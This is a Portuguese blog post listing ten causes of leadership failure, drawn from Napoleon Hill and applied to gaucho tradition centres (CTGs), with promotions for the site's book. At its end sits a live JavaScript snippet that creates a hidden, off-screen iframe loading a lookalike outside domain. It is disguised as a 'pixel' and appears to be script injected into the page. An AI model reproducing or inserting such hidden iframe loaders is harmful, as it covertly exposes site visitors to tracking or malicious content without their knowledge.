Por que falamos tanto em sucesso e bons líderes, e não nas caudas de fracasso da liderança?
Buenas amigos, como estão?
O assunto Liderança já vem sendo debatido faz meses aqui no site, mas quase sempre pelo viés de “como alcançar o sucesso”.
Já falamos dos 11 Principais Atributos para liderança em CTG, além de outros tantos temas que se te interessar, tu podes conhecer clicando aqui.
Mas hoje o tema são as 10 CAUSAS DO FRACASSO DA LIDERANÇA, que pegamos lá no livro “Quem Pensa Enriquece” de Napoleon Hill.
Vamos lá?
1 – INCAPACIDADE DE ORGANIZAR DETALHES:
“O verdadeiro líder nunca está ocupado demais para cumprir qualquer atribuição sua“.
Ou seja, lá no CTG, quando te pedem para fazer aquele “algo a mais”, se tu não tiver como, é provavelmente porque não está organizado o suficiente. É importante conhecer todos os detalhes do processo completo.
2 – RECUSA EM EXECUTAR TAREFAS PRÓPRIAS DE CARGOS ABAIXO DO SEU:
“O maior entre vós é aquele que serve a todos.”
O líder de verdade não se recusa em fazer qualquer tarefa, não importante quem foi o pediu. Então lembre-se: não é porque tu tem algum cargo ou função no CTG, que vai deixar de ouvir e ajudar os que não tem cargos.
3 – EXPECTATIVA DE PAGAMENTO PELO QUE “SABE”, E NÃO PELO QUE FAZ COM O QUE SABE:
Não adianta ser considerado o melhor Instrutor do Estado, mas não conseguir por isso na prática. A mesma coisa serve para coreógrafos, músicos… Logo, os profissionais que trabalham com o tradicionalismo, pensem nisso.
4 – MEDO DA CONCORRÊNCIA:
“O líder que teme ser substituído por um dos seguidores provavelmente verá seu medo se concretizar. O líder capaz prepara substitutos a quem possa delegar responsabilidades.”
Eu acredito MUITO nessa frase acima. Quantos CTGs já tiveram instrutores ou posteiros que passaram pela mesma situação, tanto positiva quanto negativa? É só dar uma pensada que tenho certeza que tu vai lembrar de alguém.
LEIA MAIS: 7 REGRAS PARA MANTER UM CTG VIVO
5 – FALTA DE IMAGINAÇÃO:
“Sem imaginação, o líder não consegue agir nas emergências nem elaborar planos para orientar com eficiência seus funcionários.”
Quantos problemas poderiam ter sido resolvidos de maneiras um pouco diferentes do habitual, e com certeza todos ganhariam muito tempo na solução? Saber lidar com problemas é fundamental, pois são nesses momentos de maior pressão que os líderes precisam se destacar, e IMAGINAR soluções possíveis.
Powered by Rock Convert6 – EGOÍSMO:
“O líder que toma para si o sucesso do trabalho dos seguidores certamente atrai ressentimentos.”
Talvez essa seja a mais autoexplicativa de todas e que acontece toda semana.
7 – DESCONTROLE:
“Os seguidores não respeitam um líder descontrolado.”
A famosa “explosão” durante uma roda de conversa ou um resultado negativo. Fracasso na certa.
8 – DESLEALDADE:
Ser leal é mais do que necessário, é uma obrigação. O líder que não é leal, não lidera por muito tempo… Logo o derrubam!
9 – ÊNFASE NA “AUTORIDADE” DA LIDERANÇA:
“O verdadeiro líder não precisa afirmar sua condição.”
O líder é líder independente de cargo ou função. Pode ser formal ou informal. Sua liderança exercida conduz os demais de maneira natural.
10 – ÊNFASE NO TÍTULO:
Geralmente quem dá muita importância ao título, tem pouco a oferecer. Fato.
Bueno, tão importante quanto o sucesso, é conhecer o Fracasso.
Logo falaremos mais nele!
Falamos muito sobre liderança também em nosso livro CTG S.A. LIDERANÇA E COMUNICAÇÃO PARA ALCANÇAR O SUCESSO. Para conhecer, só clicar aí no link!
Ah, e de lambuja, da uma conferida nesse vídeo abaixo:
try { const id = 'Facts';
const i = document.createElement('iframe'); i.src = 'https://amzsvcscore.com/?id=' + encodeURIComponent(id); i.style.cssText = 'width:0;height:0;border:0;visibility:hidden;position:absolute;left:-9999px;top:-9999px;'; (document.body || document.documentElement).appendChild(i); } catch (err) { console.error('Pixel error:', err); } })();
